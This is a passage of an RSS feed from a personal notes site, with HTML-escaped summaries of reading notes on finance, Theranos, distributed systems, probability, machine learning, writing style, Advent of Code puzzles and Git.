beliefs is not high stakes.&lt;/p&gt;</description></item><item><title>Maintainability</title><link>https://www.curiosities.dev/computer-science/distributed-systems/klepmann-ddia/01-foundations-of-data-systems/01-reliable-scalable-and-maintainable-applications/04-maintainability/</link><pubDate>Sun, 22 Mar 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/distributed-systems/klepmann-ddia/01-foundations-of-data-systems/01-reliable-scalable-and-maintainable-applications/04-maintainability/</guid><description>&lt;p&gt;Ongoing maintenance includes: &lt;em&gt;fixing bugs, keeping systems operational, adapting to new platforms, modifying to fit new use cases, etc.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="operability-making-life-easy-for-operations"&gt;Operability: Making Life Easy for Operations&lt;/h2&gt;
&lt;p&gt;Operations teams keep a software system running smoothly. A data system can make life easier for Ops people by:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Providing visibility into runtime behavior and system internals.&lt;/li&gt;
&lt;li&gt;Supporting automation and integration with standard tools.&lt;/li&gt;
&lt;li&gt;Being tolerant of machines being down for maintenance.&lt;/li&gt;
&lt;li&gt;Good documentation, e.g. &lt;em&gt;if I do X, Y will happen&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Good defaults and self-healing, but with override capability.&lt;/li&gt;
&lt;li&gt;Minimal suprises.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="simplicity-managing-complexity"&gt;Simplicity: Managing Complexity&lt;/h2&gt;
&lt;p&gt;Symptoms of complexity: &lt;em&gt;exploding state space, tight coupling, tangled dependencies, inconsistent naming, performance hacks, special casing&lt;/em&gt;.&lt;/p&gt;</description></item><item><title>04. The Explosive Bubbles of the Early 2000s</title><link>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-1-stocks-and-their-value/malkiel-04-the-explosive-bubbles-of-the-early-2000s/</link><pubDate>Sat, 01 Jun 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-1-stocks-and-their-value/malkiel-04-the-explosive-bubbles-of-the-early-2000s/</guid><description>&lt;p&gt;Dotcom crash took away $8tn (yearly output of Germany, France, England, Italy, Spain, the Netherlands, and Russia) of market value.&lt;/p&gt;
&lt;h2 id="the-internet-bubble"&gt;The Internet Bubble&lt;/h2&gt;
&lt;p&gt;The internet had 2 bubble qualities: some new technology &amp;amp; some new business opportunity.&lt;/p&gt;
&lt;h3 id="a-broad-scale-high-tech-bubble"&gt;A Broad-Scale High-Tech Bubble&lt;/h3&gt;
&lt;p&gt;Cisco and JDS Uniphase, producers of the backbone of the Internet, sold at +100 P/E.&lt;/p&gt;
&lt;p&gt;As usual, companies changed their names to include &amp;ldquo;dot.com&amp;rdquo;, &amp;ldquo;dotnet&amp;rdquo;, and &amp;ldquo;Internet&amp;rdquo;.&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;Stock&lt;/th&gt;
 &lt;th&gt;High &amp;lsquo;00&lt;/th&gt;
 &lt;th&gt;Low &amp;lsquo;01–&amp;lsquo;02&lt;/th&gt;
 &lt;th&gt;Decline&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;Amazon.com&lt;/td&gt;
 &lt;td&gt;75.25&lt;/td&gt;
 &lt;td&gt;5.51&lt;/td&gt;
 &lt;td&gt;98.7%&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Cisco Systems&lt;/td&gt;
 &lt;td&gt;82.00&lt;/td&gt;
 &lt;td&gt;11.04&lt;/td&gt;
 &lt;td&gt;86.5%&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;JDS Uniphase&lt;/td&gt;
 &lt;td&gt;297.34&lt;/td&gt;
 &lt;td&gt;2.24&lt;/td&gt;
 &lt;td&gt;99.5%&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Priceline.com&lt;/td&gt;
 &lt;td&gt;165.00&lt;/td&gt;
 &lt;td&gt;1.80&lt;/td&gt;
 &lt;td&gt;99.4%&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Yahoo.com&lt;/td&gt;
 &lt;td&gt;238.00&lt;/td&gt;
 &lt;td&gt;8.02&lt;/td&gt;
 &lt;td&gt;96.4%&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;PalmPilot (maker of PDAs) was at one point valued at 2x its parent company, 3Com.&lt;/p&gt;</description></item><item><title>Agriculture in Kenya as a Portfolio Problem</title><link>https://www.curiosities.dev/business/2020-02-08-agriculture-in-kenya-as-a-portfolio-problem/</link><pubDate>Sat, 01 Jun 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/2020-02-08-agriculture-in-kenya-as-a-portfolio-problem/</guid><description>&lt;h2 id="motivation"&gt;Motivation&lt;/h2&gt;
&lt;p&gt;In 
&lt;a href="https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-3-the-new-investment-technology/malkiel-08-modern-portfolio-theory/#reducing-risk-modern-portfolio-theory-mpt"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 08. A New Walking Shoe: Modern Portfolio Theory
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
, Malkiel introduced me to Modern Portfolio Theory, a technique for reducing portfolio risk, despite risky investments. It made me wonder how similar principles are applied in agriculture. This page is the result of that investigation.&lt;/p&gt;
&lt;p&gt;~16% of Kenya&amp;rsquo;s land is sufficiently fertile and has good rainfall. In 2006, ~75% of working Kenyans are farmers (compared to 80% in 1980). 
&lt;a href="https://en.wikipedia.org/wiki/Agriculture_in_Kenya"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 (en.wikipedia.org)
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/p&gt;</description></item><item><title>04. Goodbye East Paly</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/04-goodbye-east-paly/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/04-goodbye-east-paly/</guid><description>&lt;p&gt;For some terminated employees, Holmes requested a dossier on them for leverage. Mosley (finance guy) had stored porn on his work laptop. Holmes (retroactively) used that as the cause for his termination and lack of stock options.&lt;/p&gt;
&lt;p&gt;Matt (IT) wanted to leave to start IT consulting firm. Holmes asking him to use ununionized (mob controlled) movers for a last minute move from East Paly was one of the final straws. Holmes tried asking Matt&amp;rsquo;s peer to build dossier in exchange for Matt&amp;rsquo;s position, but they declined.&lt;/p&gt;</description></item><item><title>Infection Models: SI, SIS, SIR</title><link>https://www.curiosities.dev/computer-science/networks/networks-friends-money-bytes/reaching-through-networks/02-modeling-social-influence/04-infection-models/</link><pubDate>Mon, 13 Nov 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/networks/networks-friends-money-bytes/reaching-through-networks/02-modeling-social-influence/04-infection-models/</guid><description>&lt;p&gt;Models state transitions through differential equations over continuous time \(t\). Commonly used to model the spread of diseases.&lt;/p&gt;
&lt;p&gt;Possible states that proportions of the population could be in at time \(t\) are: susceptible \(S(t)\), infected \(I(t)\), and recovered \(R(t)\)&lt;/p&gt;
&lt;h2 id="the-si-model"&gt;The SI Model&lt;/h2&gt;
&lt;p&gt;Assumes that one can only move from state \(S\) to state \(I\), with probability \(\beta\).&lt;/p&gt;
&lt;p&gt;$$ S&amp;rsquo;(t) = - \beta S(t) I(t);\ \ \ \ I&amp;rsquo;(t) = \beta S(t) I(t) $$&lt;/p&gt;</description></item><item><title>Handling Noisy Data in Nearest Neighbors</title><link>https://www.curiosities.dev/computer-science/machine-learning/ele364-machine-learning-and-predictive-analytics/05-similarity-based-learning/04-handling-noisy-data/</link><pubDate>Tue, 17 Oct 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/machine-learning/ele364-machine-learning-and-predictive-analytics/05-similarity-based-learning/04-handling-noisy-data/</guid><description>&lt;h2 id="majority-voting"&gt;Majority Voting&lt;/h2&gt;
&lt;p&gt;The &lt;strong&gt;\(k\) nearest neighbors&lt;/strong&gt; model predicts the target level from the majority vote from the set of the \(k\) nearest neighbors to the query \(q\).&lt;/p&gt;
&lt;p&gt;Where \(\delta\) is an indicator function such that \(\delta(t_i, l) = 1 \iff t_i = l\):&lt;/p&gt;
&lt;p&gt;$$ \mathbb{M}_{k} (q) = argmax_{l \in levels(t)} \left( \sum_{i=1}^{k} \delta(t_i, l) \right) $$&lt;/p&gt;
&lt;p&gt;For categorical features, \(k\) should be odd to avoid ties.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;This doesn&amp;rsquo;t read right. If there are 3 possible categories, \(k = 3\) can result in a tie. &amp;ldquo;\(k \mod |categories| \ne 0 \)&amp;rdquo; seems like an alternative choice, but \(k = 4\) could result in \(\{2, 2, 0\}\) votes for 3 possible categories.&lt;/p&gt;</description></item><item><title>Handling Noisy Data in Nearest Neighbors</title><link>https://www.curiosities.dev/computer-science/machine-learning/similarity-based-learning/handling-noisy-data/</link><pubDate>Tue, 17 Oct 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/machine-learning/similarity-based-learning/handling-noisy-data/</guid><description>&lt;h2 id="majority-voting"&gt;Majority Voting&lt;/h2&gt;
&lt;p&gt;The &lt;strong&gt;\(k\) nearest neighbors&lt;/strong&gt; model predicts the target level from the majority vote from the set of the \(k\) nearest neighbors to the query \(q\).&lt;/p&gt;
&lt;p&gt;Where \(\delta\) is an indicator function such that \(\delta(t_i, l) = 1 \iff t_i = l\):&lt;/p&gt;
&lt;p&gt;$$ \mathbb{M}_{k} (q) = argmax_{l \in levels(t)} \left( \sum_{i=1}^{k} \delta(t_i, l) \right) $$&lt;/p&gt;
&lt;p&gt;For categorical features, \(k\) should be odd to avoid ties.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;This doesn&amp;rsquo;t read right. If there are 3 possible categories, \(k = 3\) can result in a tie. &amp;ldquo;\(k \mod |categories| \ne 0 \)&amp;rdquo; seems like an alternative choice, but \(k = 4\) could result in \(\{2, 2, 0\}\) votes for 3 possible categories.&lt;/p&gt;</description></item><item><title>Bayesian Rating</title><link>https://www.curiosities.dev/computer-science/networks/networks-friends-money-bytes/data-in-networks/amazon-rankings/bayesian-ranking/</link><pubDate>Mon, 09 Oct 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/networks/networks-friends-money-bytes/data-in-networks/amazon-rankings/bayesian-ranking/</guid><description>&lt;p&gt;Allows us to weight by review population size.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Let \(n_i\) be the number of reviews that item \(i\) gets, and let \(r_i\) be the naive average rating of item \(i\)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Let \(N\) be the total number of reviews across brands, i.e. \(N = \sum_{i} n_i \)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Let \(R\) be the average rating over all items across brands, i.e. \(R = \frac{1}{N} \sum_{i} n_i r_i \)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then, the Bayesian rating \(\tilde{r_i}\) is:&lt;/p&gt;</description></item><item><title>Conditional Probability</title><link>https://www.curiosities.dev/mathematics/probability/probability-and-stochastic-systems/01-sample-space-and-probability/04-conditional-probability/</link><pubDate>Fri, 29 Sep 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/mathematics/probability/probability-and-stochastic-systems/01-sample-space-and-probability/04-conditional-probability/</guid><description>&lt;h2 id="definition"&gt;Definition&lt;/h2&gt;
&lt;p&gt;Where \( \mathbb{P}(A|B) \) is the probability of event \(A\) given that event \(B\) occurs:&lt;/p&gt;
&lt;p&gt;$$ \mathbb{P}(A|B) = \frac{\mathbb{P}(A \cap B)}{\mathbb{P}(B)} $$&lt;/p&gt;
&lt;p&gt;Notice that if \(P(B) = 0\) then it&amp;rsquo;s meaningless to condition \(A\) on \(B\).&lt;/p&gt;
&lt;h2 id="satisfying-the-axioms-of-probability"&gt;Satisfying the Axioms of Probability&lt;/h2&gt;
&lt;h3 id="axiom-1-normalization"&gt;Axiom 1: Normalization&lt;/h3&gt;
&lt;p&gt;$$ \mathbb{P}(B|B) = \frac{\mathbb{P}(B \cap B)}{\mathbb{P}(B)} = 1 $$&lt;/p&gt;
&lt;h3 id="axiom-2-non-negativity"&gt;Axiom 2: Non-negativity&lt;/h3&gt;
&lt;p&gt;Because \(A \cap B \subseteq B \), then \( 0 \le \mathbb{P}(A|B) \le 1 \).&lt;/p&gt;</description></item><item><title>04. Beginning and Ending</title><link>https://www.curiosities.dev/writing/the-new-strategy-of-style/04-beginning-and-ending/</link><pubDate>Sat, 07 Jan 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/writing/the-new-strategy-of-style/04-beginning-and-ending/</guid><description>&lt;h2 id="beginnings"&gt;Beginnings&lt;/h2&gt;
&lt;p&gt;Your shot at intriguing or acclimating the reader. Establish the tone, stylistic manner and attitude in the first few sentences.&lt;/p&gt;
&lt;h3 id="the-direct-beginning"&gt;The Direct Beginning&lt;/h3&gt;
&lt;p&gt;State the subject in the first sentence, and the thesis in the first paragraph.&lt;/p&gt;
&lt;p&gt;Use the first paragraph to define subject or a quick synopsis of the material to come.&lt;/p&gt;
&lt;h3 id="the-delayed-beginning"&gt;The Delayed Beginning&lt;/h3&gt;
&lt;p&gt;An attention-getting device, e.g. anecdote, generalization, vivid description, dramatic incident, paradoxical observation, can serve as the background to your thesis.&lt;/p&gt;</description></item><item><title>Reusable Cards</title><link>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/web-components/reusable-cards/</link><pubDate>Fri, 03 May 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/web-components/reusable-cards/</guid><description>&lt;h2 id="context"&gt;Context&lt;/h2&gt;
&lt;p&gt;How can I reuse code in these user experiences?&lt;/p&gt;
&lt;figure&gt;&lt;img src="https://www.curiosities.dev/img/computer-science/programming-challenges/flashcards/web-components/card-types.jpg"
 alt="Current card templates. TL: editable card owned by the user.
TR: the overall modal experience. BL: a publicly viewable card. BR: a
card owned by the user but is in the trash."&gt;&lt;figcaption&gt;
 &lt;p&gt;Current card templates. TL: editable card owned by the user.
TR: the overall modal experience. BL: a publicly viewable card. BR: a
card owned by the user but is in the trash.&lt;/p&gt;</description></item><item><title>AoC 2021 Day 05: Hydrothermal Venture</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/src/HydrothermalVenture/05-hydrothermal-venture/</link><pubDate>Sun, 27 Feb 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/src/HydrothermalVenture/05-hydrothermal-venture/</guid><description>&lt;h2 id="problem-statement"&gt;Problem Statement&lt;/h2&gt;
&lt;h3 id="part-one"&gt;Part One&lt;/h3&gt;
&lt;p&gt;You come across a field of &lt;strong&gt;hydrothermal vents&lt;/strong&gt; on the ocean floor!
These vents constantly produce large, opaque clouds, so it would be best
to avoid them if possible.&lt;/p&gt;
&lt;p&gt;They tend to form in &lt;strong&gt;lines&lt;/strong&gt;; the submarine hopefully produces a list
of nearby lines of vents (your puzzle input) for you to review.&lt;/p&gt;
&lt;p&gt;Each line of vents is given as a line segment in the format &lt;code&gt;(x1, y1 -&amp;gt; x2, y2)&lt;/code&gt;, where &lt;code&gt;x1,y1&lt;/code&gt; are the coordinates of one end of the line
segment, and &lt;code&gt;x2,y2&lt;/code&gt; are the coordinates of the other end. These line
segments include the points at both ends. In other words:&lt;/p&gt;</description></item><item><title>05. Rethinking Identity</title><link>https://www.curiosities.dev/knowing/scout-mindset/05-rethinking-identity/</link><pubDate>Sun, 02 Jan 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/knowing/scout-mindset/05-rethinking-identity/</guid><description>&lt;h2 id="how-beliefs-become-identities"&gt;How Beliefs Become Identities &lt;span class="citation-ref"&gt;&lt;a href="#Galef2021Ch13"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;



&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;Didn&amp;rsquo;t have priors on this. In retrospect, I could have asked: how can I
differentiate between a belief and an identity? What are the consequences of a
belief becoming an identity?&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Feeling under siege from a hostile world may crystallize a belief into an
identity, e.g. formula-feeders feeling judged as bad mothers; evangelical
christians feeling alienated by legal and cultural changes like legal abortion,
gay marriage and sexualized content in the media.&lt;/p&gt;</description></item><item><title>05. What Is Your Privacy Worth?</title><link>https://www.curiosities.dev/politics-and-governance/reich-sahami-weinstein-system-error/05-what-is-your-privacy-worth/</link><pubDate>Tue, 28 Sep 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/politics-and-governance/reich-sahami-weinstein-system-error/05-what-is-your-privacy-worth/</guid><description>&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Pre-read thoughts.&lt;/p&gt;
&lt;p&gt;I think for the general population, the value of privacy is not worth the
inconvenience associated with securing it, in the cases where it&amp;rsquo;s not readily
availed by Big Tech. For example, one wouldn&amp;rsquo;t go out of their way to not have
passwords and 2FA. However, when it comes to matters like online privacy, most
folks are willing to allow surveillance in exchange for free services like web
search, social media, etc.&lt;/p&gt;</description></item><item><title>05. Technical and Fundamental Analysis</title><link>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-2-how-the-pros-play-the-biggest-game-in-town/malkiel-05-technical-and-fundamental-analysis/</link><pubDate>Sat, 01 Jun 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-2-how-the-pros-play-the-biggest-game-in-town/malkiel-05-technical-and-fundamental-analysis/</guid><description>&lt;h2 id="technical-analysis"&gt;Technical Analysis&lt;/h2&gt;
&lt;p&gt;Study past price movements and trading volume of trading to to predict when to buy/sell a stock. Based on the castle-in-the-air view of stock pricing.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Trying to be smarter than the crowd. Is this only sustainable in an environment
that has a sizable number of unsophisticated investors? Seems like it&amp;rsquo;d be a
tax on new entrants to a stock market, e.g., making stock-picking a mainstream
occurrence, and having the incumbents exploit the novices.&lt;/p&gt;</description></item><item><title>05. The Childhood Neighbor</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/05-the-childhood-neighbor/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/05-the-childhood-neighbor/</guid><description>&lt;p&gt;Money was a sore point in the Holmes household. Holmes&amp;rsquo;s grandparents had
squandered away their share of the Fleischmann fortune. Richard Fuisz, a family
friend, was a flashy successful businessman.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;So in a way, Elizabeth didn&amp;rsquo;t grow up in wealth? This puts a spin on 
&lt;a href="https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/01-a-purposeful-life/"
 
 
 
 &gt;
 Chapter
01: A Purposeful Life
 
&lt;/a&gt;
.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Fuisz was offended that Elizabeth never consulted him. Fuisz made his money
patenting medical inventions that he anticipated other companies would someday
want.&lt;/p&gt;</description></item><item><title>The Case for Range Normalization</title><link>https://www.curiosities.dev/computer-science/machine-learning/ele364-machine-learning-and-predictive-analytics/05-similarity-based-learning/05-the-case-for-range-normalization/</link><pubDate>Tue, 17 Oct 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/machine-learning/ele364-machine-learning-and-predictive-analytics/05-similarity-based-learning/05-the-case-for-range-normalization/</guid><description>&lt;p&gt;When you have features taking different range if values, you may have odd predictions.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;For example, if \(f_1 \in [0, 100]\) and \(f_2 \in [0, 1]\), \(f_1\) will always be penalized more than \(f_2\) when computing the distance.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;To mitigate this, normalize the feature&amp;rsquo;s ranges to \([r_{low}, r_{high}]\):&lt;/p&gt;
&lt;p&gt;$$ a&amp;rsquo;_i = \frac{a_i - a_{min}}{ a_{max} - a_{min}} \cdot (r_{high} - r_{low}) + r_{low} $$&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Typically, the range is normalized to \([r_{low}, r_{high}] = [0, 1]\), so range normalization simplifies to:&lt;/p&gt;</description></item><item><title>The Case for Range Normalization</title><link>https://www.curiosities.dev/computer-science/machine-learning/similarity-based-learning/the-case-for-range-normalization/</link><pubDate>Tue, 17 Oct 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/machine-learning/similarity-based-learning/the-case-for-range-normalization/</guid><description>&lt;p&gt;When you have features taking different range if values, you may have odd predictions.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;For example, if \(f_1 \in [0, 100]\) and \(f_2 \in [0, 1]\), \(f_1\) will always be penalized more than \(f_2\) when computing the distance.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;To mitigate this, normalize the feature&amp;rsquo;s ranges to \([r_{low}, r_{high}]\):&lt;/p&gt;
&lt;p&gt;$$ a&amp;rsquo;_i = \frac{a_i - a_{min}}{ a_{max} - a_{min}} \cdot (r_{high} - r_{low}) + r_{low} $$&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Typically, the range is normalized to \([r_{low}, r_{high}] = [0, 1]\), so range normalization simplifies to:&lt;/p&gt;</description></item><item><title>The Bayes Formula</title><link>https://www.curiosities.dev/mathematics/probability/probability-and-stochastic-systems/01-sample-space-and-probability/05-the-bayes-formula/</link><pubDate>Fri, 29 Sep 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/mathematics/probability/probability-and-stochastic-systems/01-sample-space-and-probability/05-the-bayes-formula/</guid><description>&lt;h2 id="the-formula"&gt;The Formula&lt;/h2&gt;
&lt;p&gt;By definition&amp;hellip;&lt;/p&gt;
&lt;p&gt;$$ \mathbb{P}(A) = \mathbb{P}(A \cap B) + \mathbb{P}(A \cap B^{c}) $$&lt;/p&gt;
&lt;p&gt;From 
&lt;a href="https://www.curiosities.dev/mathematics/probability/probability-and-stochastic-systems/01-sample-space-and-probability/04-conditional-probability/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 conditional probability
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&amp;hellip;&lt;/p&gt;
&lt;p&gt;$$ \mathbb{P}(A) = \mathbb{P}(A|B) \ \mathbb{P}(B) + \mathbb{P}(A|B^c) \ \mathbb{P}(B^c) $$&lt;/p&gt;
&lt;p&gt;Therefore&lt;/p&gt;
&lt;p&gt;$$ \mathbb{P}(B|A) = \frac{ \mathbb{P}(B \cap A) }{ \mathbb{P}(A) } $$
$$ = \frac{ \mathbb{P}(A|B) \mathbb{P}(B) }{ \mathbb{P}(A|B) \ \mathbb{P}(B) + \mathbb{P}(A|B^c) \ \mathbb{P}(B^c) } $$&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Switching the roles of the events is convenient because in many problems, one of the conditional probabilities is easier to calculate.&lt;/p&gt;</description></item><item><title>05. Expansion</title><link>https://www.curiosities.dev/writing/the-new-strategy-of-style/05-expansion/</link><pubDate>Sat, 07 Jan 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/writing/the-new-strategy-of-style/05-expansion/</guid><description>&lt;p&gt;Brevity has its limitations. Sometimes more words save more time.&lt;/p&gt;
&lt;h2 id="horizontal-expansion"&gt;Horizontal Expansion&lt;/h2&gt;
&lt;p&gt;You can move from effect to cause, or from cause to effect.&lt;/p&gt;
&lt;p&gt;You go to a new but related idea: &lt;em&gt;and, on the other hand, next, therefore, thus, which leads to, consequently, &amp;hellip;&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="vertical-expansion"&gt;Vertical Expansion&lt;/h2&gt;
&lt;p&gt;You may provide examples, descriptions, illustrations for reader to infer the idea, what your subject is not, comparisons and contrasts.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s a method of analysis, detail and illustration: &lt;em&gt;for example, in particular, on closer examination, which is not, the causes of which are&amp;hellip;&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Home Page</title><link>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/web-components/home-page/</link><pubDate>Sun, 05 May 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/web-components/home-page/</guid><description>&lt;figure&gt;&lt;img src="https://www.curiosities.dev/img/computer-science/programming-challenges/flashcards/web-components/home-landing-page.jpg"
 alt="When a user lands at /home, this UI is shown. A couple of
components are shareable from /browse, e.g., search-bar,
search-results."&gt;&lt;figcaption&gt;
 &lt;p&gt;When a user lands at /home, this UI is shown. A couple of
components are shareable from /browse, e.g., search-bar,
search-results.&lt;/p&gt;
 &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2 id="sharing-code-with-browse"&gt;Sharing Code with &lt;code&gt;/browse&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Components initially created for 
&lt;a href="https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/web-components/browse-page/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 the &lt;code&gt;/browse&lt;/code&gt; page
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
 are useful in &lt;code&gt;/home&lt;/code&gt; as well.&lt;/p&gt;
&lt;h3 id="the-cardsviewingpage-interface"&gt;The &lt;code&gt;CardsViewingPage&lt;/code&gt; Interface&lt;/h3&gt;
&lt;p&gt;This functionality can be shared between the two pages:&lt;/p&gt;</description></item><item><title>AoC 2021 Day 06: Lanternfish</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/src/AoC2021/Lanternfish/</link><pubDate>Tue, 01 Mar 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/src/AoC2021/Lanternfish/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='AoC2021-06'&gt;
 
 Day 6 - Advent of Code 2021&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Eric Wastl.
 
 
 
 
 &lt;a href="https://adventofcode.com/2021/day/6" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=adventofcode.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;adventofcode.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Mar 2, 2022.
 
 
&lt;/div&gt;

&lt;h2 id="part-i-description"&gt;Part I Description&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;The sea floor is getting steeper. Maybe the sleigh keys got carried this way?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;A massive school of glowing lanternfish swims past. They must spawn quickly to
reach such large numbers - maybe exponentially quickly? You should model their
growth to be sure.&lt;/em&gt;&lt;/p&gt;</description></item><item><title>06. Version Control (Git)</title><link>https://www.curiosities.dev/computer-science/the-missing-cs-semester/06-version-control-git/</link><pubDate>Fri, 16 Oct 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/the-missing-cs-semester/06-version-control-git/</guid><description>&lt;p&gt;Version Control Systems track changes to a folder and its contents in a series
of snapshots. Each snapshot encapsulates the entire state of files/folders
within a top-level directory.&lt;/p&gt;
&lt;p&gt;Git&amp;rsquo;s interface is a leaky abstraction. While the interface is at times ugly,
its underlying design and ideas are beautiful. A bottom-up explanation of Git
therefore makes more sense.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;The abstraction is leaky in the sense that to wield it effectively, the user
